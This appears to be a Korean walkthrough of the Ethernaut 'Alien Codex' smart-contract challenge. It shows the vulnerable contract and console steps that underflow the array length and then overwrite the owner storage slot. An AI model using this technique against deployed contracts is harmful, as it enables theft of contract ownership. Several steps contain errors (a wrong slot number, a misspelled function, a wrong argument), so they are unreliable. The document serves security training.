[Ethernaut] 19. Alien Codex

 

소스코드

// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;

import '../helpers/Ownable-05.sol';

contract AlienCodex is Ownable {

  bool public contact;
  bytes32[] public codex;

  modifier contacted() {
    assert(contact);
    _;
  }
  
  function make_contact() public {
    contact = true;
  }

  function record(bytes32 _content) contacted public {
  	codex.push(_content);
  }

  function retract() contacted public {
    codex.length--;
  }

  function revise(uint i, bytes32 _content) contacted public {
    codex[i] = _content;
  }
}

 

목표

소유권 획득

 

방법

콘솔에서

 

1. let sig = web3.utils.sha3("make_contact()")
2. contract.sendTransaction({data : sig})
3.  
   await contract.contact() //check
4.  
   let slot0, web3.eth.getStorageAt(adr, 0, function(err, result) {slot0 = result})
5.  
   let slot1, web3.eth.getStorageAt(adr, 0, function(err, result) {slot1 = result}) // check the slot is 0x0000000000000...
6. let retractSignature = web3.utils.sha3("retract()")
7.  
   contract.sendTransaction({data : retractSignature})
8.  
   web3.eth.getStorageAt(adr, 0, function(err, result) {slot1 = result})
9. 컨트랙트 코드 작성

// SPDX-License-Identifier: MIT
pragma solidity ^0.4.24;

contract Calc {
    
    bytes32 public one;
    uint public index;
    uint public length;
    bytes32 public lengthBytes;
    
    function getIndex() {
        one = keccak256(bytes32(1));
        index = 2 ** 256 - 1 - uint(one) + 1;
    }
    
}

 

 

배포 후 contract.reviese(one,'0x000000000000000000000001'+'your address')

 

해설1 해설2